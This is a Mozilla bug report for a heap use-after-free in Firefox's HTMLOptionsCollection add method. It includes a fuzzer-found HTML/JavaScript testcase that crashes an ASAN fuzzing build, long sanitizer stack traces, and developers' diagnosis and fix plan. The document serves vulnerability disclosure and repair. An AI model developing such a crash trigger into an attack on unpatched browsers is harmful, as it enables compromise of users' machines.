Closed Bug 1499861 (CVE-2018-18492) Opened 6 years ago Closed 6 years ago

heap-use-after-free in mozilla::dom::HTMLOptionsCollection_Binding::add

Categories

(Core :: DOM: Core & HTML, defect, P1)

64 Branch
defect

Tracking

()

VERIFIED FIXED
mozilla65
Tracking Status
firefox-esr60 64+ verified
firefox62 --- wontfix
firefox63 --- wontfix
firefox64 + verified
firefox65 + verified

People

(Reporter: nils, Assigned: mccr8)

References

Details

(Keywords: csectype-uaf, sec-high, testcase, Whiteboard: [adv-main64+][adv-esr60.4+])

Attachments

(5 files)

The following testcase crashes the lates ASAN build of Firefox 64.0a1 (BuildID=20181017165417). It requires a fuzzing build (--enable-fuzzing) and the pref fuzzing.enabled=true.

<script>
function start() {
    o260=document.createElementNS('http://www.w3.org/1999/xhtml','select');
    o261=document.createElementNS('http://www.w3.org/1999/xhtml','optgroup');
    o577=o260.options;
    o651=document.createElementNS('http://www.w3.org/1999/xhtml','optgroup');
    o261.appendChild(o651);
    o261.addEventListener('DOMNodeRemoved',fun0);
    o995=o577.add(o651);
}
function fun0() {
    o260=null;o261=null;o651=null;
    FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();
}
</script>
<body onload="start()"></body>

ASAN output:
=================================================================
==15482==ERROR: AddressSanitizer: heap-use-after-free on address 0x6120000aef68 at pc 0x7f73eef09f74 bp 0x7ffe1de27650 sp 0x7ffe1de27648
READ of size 8 at 0x6120000aef68 thread T0 (file:// Content)
    #0 0x7f73eef09f73 in GetParentNode /builds/worker/workspace/build/src/dom/base/nsINode.h:953:12
    #1 0x7f73eef09f73 in IsDocument /builds/worker/workspace/build/src/dom/base/nsINode.h:418
    #2 0x7f73eef09f73 in IsAllowedAsChild(nsIContent*, nsINode*, bool, nsINode*) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2092
    #3 0x7f73eef0a58a in EnsurePreInsertionValidity2 /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2241:8
    #4 0x7f73eef0a58a in nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2307
    #5 0x7f73f1ae800e in mozilla::dom::HTMLOptionsCollection_Binding::add(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLOptionsCollection*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLOptionsCollectionBinding.cpp:170:9
    #6 0x7f73f1e4f270 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3315:13
    #7 0x7f73fac5f60b in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468:15
    #8 0x7f73fac5f60b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:560
    #9 0x7f73fac4858e in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:620:12
    #10 0x7f73fac4858e in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3458
    #11 0x7f73fac2d85b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447:12
    #12 0x7f73fac6011e in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:587:15
    #13 0x7f73fac61eb2 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:633:10
    #14 0x7f73f9d3550d in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2979:12
    #15 0x7f73f13e8efa in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:265:37
    #16 0x7f73f26eae4a in void mozilla::dom::EventHandlerNonNull::Call<nsISupports*>(nsISupports* const&, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12
    #17 0x7f73f26e82ce in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214:12
    #18 0x7f73f269d445 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1106:52
    #19 0x7f73f269f40c in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1308:15
    #20 0x7f73f268226e in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:390:5
    #21 0x7f73f268226e in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:424
    #22 0x7f73f2680513 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:641:16
    #23 0x7f73f2686fe8 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1156:11
    #24 0x7f73f5316c06 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1167:7
    #25 0x7f73f81afe24 in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7151:21
    #26 0x7f73f81aae97 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6942:7
    #27 0x7f73f81b4327 in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp
    #28 0x7f73ed4da465 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1307:3
    #29 0x7f73ed4d904c in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:850:14
    #30 0x7f73ed4d4b39 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:739:9
    #31 0x7f73ed4d7412 in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:628:5
    #32 0x7f73ed4d8b74 in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp
    #33 0x7f73eaf164d2 in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:629:28
    #34 0x7f73eee27de7 in DoUnblockOnload /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8351:18
    #35 0x7f73eee27de7 in nsDocument::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8273
    #36 0x7f73eee031fc in nsIDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5297:3
    #37 0x7f73eef6939b in applyImpl<nsIDocument, void (nsIDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1191:12
    #38 0x7f73eef6939b in apply<nsIDocument, void (nsIDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1197
    #39 0x7f73eef6939b in mozilla::detail::RunnableMethodImpl<nsIDocument*, void (nsIDocument::*)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1242
    #40 0x7f73eac56be5 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:337:32
    #41 0x7f73eac93c06 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1252:14
    #42 0x7f73eac9c72d in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:530:10
    #43 0x7f73ebeb3df3 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
    #44 0x7f73ebdb69dc in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10
    #45 0x7f73ebdb69dc in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318
    #46 0x7f73ebdb69dc in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298
    #47 0x7f73f4ab7573 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27
    #48 0x7f73f8f75a6e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:939:22
    #49 0x7f73ebdb69dc in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:325:10
    #50 0x7f73ebdb69dc in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:318
    #51 0x7f73ebdb69dc in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:298
    #52 0x7f73f8f74b13 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:765:34
    #53 0x55a4bad84b91 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30
    #54 0x55a4bad84b91 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:287
    #55 0x7f740ced1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #56 0x55a4bacb3f3c in _start (/home/nils/fuzzer3/firefox/firefox+0x2cf3c)

0x6120000aef68 is located 40 bytes inside of 288-byte region [0x6120000aef40,0x6120000af060)
freed by thread T0 (file:// Content) here:
    #0 0x55a4bad54372 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3
    #1 0x7f73eaa98d51 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2740:7
    #2 0x7f73eaa97500 in nsCycleCollector::FreeSnowWhite(bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2963:3
    #3 0x7f73eaaa39af in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3996:3
    #4 0x7f73eaaa2c84 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3817:9
    #5 0x7f73eaaa7c13 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4408:21
    #6 0x7f73eef234ee in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1526:3
    #7 0x7f73f1703d41 in mozilla::dom::FuzzingFunctions_Binding::cycleCollect(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FuzzingFunctionsBinding.cpp:60:3
    #8 0x7f73fac5f60b in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468:15
    #9 0x7f73fac5f60b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:560
    #10 0x7f73fac4858e in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:620:12
    #11 0x7f73fac4858e in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3458
    #12 0x7f73fac2d85b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447:12
    #13 0x7f73fac6011e in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:587:15
    #14 0x7f73fac61eb2 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:633:10
    #15 0x7f73f9d3550d in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2979:12
    #16 0x7f73f13eee9e in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:52:8
    #17 0x7f73f269d3ec in HandleEvent<mozilla::dom::EventTarget *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12
    #18 0x7f73f269d3ec in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1103
    #19 0x7f73f269f40c in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1308:15
    #20 0x7f73f268226e in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:390:5
    #21 0x7f73f268226e in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:424
    #22 0x7f73f2680a14 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:677:14
    #23 0x7f73f2686fe8 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1156:11
    #24 0x7f73ee8f0170 in nsContentUtils::MaybeFireNodeRemoved(nsINode*, nsINode*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:4759:5
    #25 0x7f73eef0a49c in nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2292:7
    #26 0x7f73f1ae800e in mozilla::dom::HTMLOptionsCollection_Binding::add(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLOptionsCollection*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLOptionsCollectionBinding.cpp:170:9
    #27 0x7f73f1e4f270 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3315:13
    #28 0x7f73fac5f60b in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468:15
    #29 0x7f73fac5f60b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:560
    #30 0x7f73fac4858e in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:620:12
    #31 0x7f73fac4858e in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3458
    #32 0x7f73fac2d85b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447:12
    #33 0x7f73fac6011e in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:587:15
    #34 0x7f73fac61eb2 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:633:10
    #35 0x7f73f9d3550d in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2979:12

previously allocated by thread T0 (file:// Content) here:
    #0 0x55a4bad546b3 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3
    #1 0x55a4bad85acd in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:70:17
    #2 0x7f73f2adc8e1 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:139:12
    #3 0x7f73f2adc8e1 in NS_NewHTMLSelectElement(already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/HTMLSelectElement.cpp:40
    #4 0x7f73f2b94c17 in CreateHTMLElement(unsigned int, already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:255:41
    #5 0x7f73ee9308d9 in nsContentUtils::NewXULOrHTMLElement(mozilla::dom::Element**, mozilla::dom::NodeInfo*, mozilla::dom::FromParser, nsAtom*, mozilla::dom::CustomElementDefinition*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:10153:18
    #6 0x7f73f2b94aeb in NS_NewHTMLElement(mozilla::dom::Element**, already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser, nsAtom*, mozilla::dom::CustomElementDefinition*) /builds/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:238:10
    #7 0x7f73eef7fd0c in NS_NewElement(mozilla::dom::Element**, already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser, nsTSubstring<char16_t> const*) /builds/worker/workspace/build/src/dom/base/nsNameSpaceManager.cpp:192:12
    #8 0x7f73eee0b045 in nsIDocument::CreateElementNS(nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, mozilla::dom::ElementCreationOptionsOrString const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5796:8
    #9 0x7f73f1453148 in mozilla::dom::Document_Binding::createElementNS(JSContext*, JS::Handle<JSObject*>, nsIDocument*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/DocumentBinding.cpp:1360:59
    #10 0x7f73f1e4f270 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3315:13
    #11 0x7f73fac5f60b in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468:15
    #12 0x7f73fac5f60b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:560
    #13 0x7f73fac4858e in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:620:12
    #14 0x7f73fac4858e in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3458
    #15 0x7f73fac2d85b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447:12
    #16 0x7f73fac6011e in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:587:15
    #17 0x7f73fac61eb2 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:633:10
    #18 0x7f73f9d3550d in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2979:12
    #19 0x7f73f13e8efa in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:265:37
    #20 0x7f73f26eae4a in void mozilla::dom::EventHandlerNonNull::Call<nsISupports*>(nsISupports* const&, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12
    #21 0x7f73f26e82ce in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214:12
    #22 0x7f73f269d445 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1106:52
    #23 0x7f73f269f40c in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1308:15
    #24 0x7f73f268226e in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:390:5
    #25 0x7f73f268226e in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:424
    #26 0x7f73f2680513 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:641:16
    #27 0x7f73f2686fe8 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1156:11
    #28 0x7f73f5316c06 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1167:7
    #29 0x7f73f81afe24 in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7151:21
    #30 0x7f73f81aae97 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6942:7
    #31 0x7f73f81b4327 in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp
    #32 0x7f73ed4da465 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1307:3
    #33 0x7f73ed4d904c in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:850:14

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/base/nsINode.h:953:12 in GetParentNode
Shadow bytes around the buggy address:
  0x0c248000dd90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c248000dda0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
  0x0c248000ddb0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c248000ddc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c248000ddd0: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa
=>0x0c248000dde0: fa fa fa fa fa fa fa fa fd fd fd fd fd[fd]fd fd
  0x0c248000ddf0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c248000de00: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
  0x0c248000de10: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c248000de20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c248000de30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==15482==ABORTING
Attached file ASAN output
Group: core-security → dom-core-security
Priority: -- → P1
Priority: P1 → --
Priority: -- → P1
This feels like another case where we forgot to hold a strong reference to a DOM element that is live on the stack.
I looked at this a little via code inspection. I don't think it is an obvious stack refcounting problem.

With some of the details removed, the test case looks like this:
    selectElement = document.createElementNS('http://www.w3.org/1999/xhtml','select');
    ...
    selectOptions = selectElement.options;
    ...
    // add event listener for DOMNodeRemoved that clears locals, including selectElement
    o995 = selectOptions.add(o651);

This is a standard UAF widget where we clear references and GC/CC while inside a mutation listener thing.

The object being used after it is free is |selectElement|. Notice that after we clear out the local variables, nothing on the stack directly refers to the select element. So that means when we're inside the mutation thing it can get destroyed.

The options collections has only a weak reference to its select element. From the HTMLOptionsCollection ctor:
  // Do not maintain a reference counted reference. When
  // the select goes away, it will let us know.
  mSelect = aSelect;

The problem, then, seems to be that HTMLOptionsCollection::Add() is implemented by forwarding to mSelect, which nothing is holding alive:
  mSelect->Add(aElement, aBefore, aError);

mSelect is destroyed while we're inside a method with |mSelect| as |this|. The select element dies and mSelect is set to null, but that doesn't help for the stack value.
It looks like this could be a problem for a lot of the HTMLOptionsCollection methods that forward to mSelect.
Assignee: nobody → continuation
It looks like this has been a problem at least back to 2013, if not earlier. I don't know why it hasn't come up before.
The easiest fix would be to make mSelect a strong reference (and add it to the cycle collector). I can't imagine a situation where you'd want the collection to outlive the element. The current code has the dodgy feel of the pre-cycle collector era.
Flags: needinfo?(bzbarsky)
Does that sound reasonable Boris? I can poke around in the spec in case you think there might be some reason a weak ref is needed.
I agree that this code looks like it just predates cycle collection.

Yes, mSelect should be a strong reference.

We should also consider adding more MOZ_CAN_RUN_SCRIPT bits on the HTMLSelectElement methods that can....
Flags: needinfo?(bzbarsky)
And in general, specs have no concept of "weak reference".  They have the JS model of ownership in mind, basically: if you point to something, you keep it alive.
As a side note, in general calling methods on fields is dodgy (operations could mutate the field), but in this case we assume that |this| is strongly held, and mSelect is immutable (as long as |this| doesn't become garbage) so it is okay.

(In reply to Boris Zbarsky [:bzbarsky, bz on IRC] from comment #9)
> And in general, specs have no concept of "weak reference".  They have the JS
> model of ownership in mind, basically: if you point to something, you keep
> it alive.

Yeah, I couldn't imagine how or why you'd even spec something like that out, but I wanted to make sure that was reasonable. Thanks.
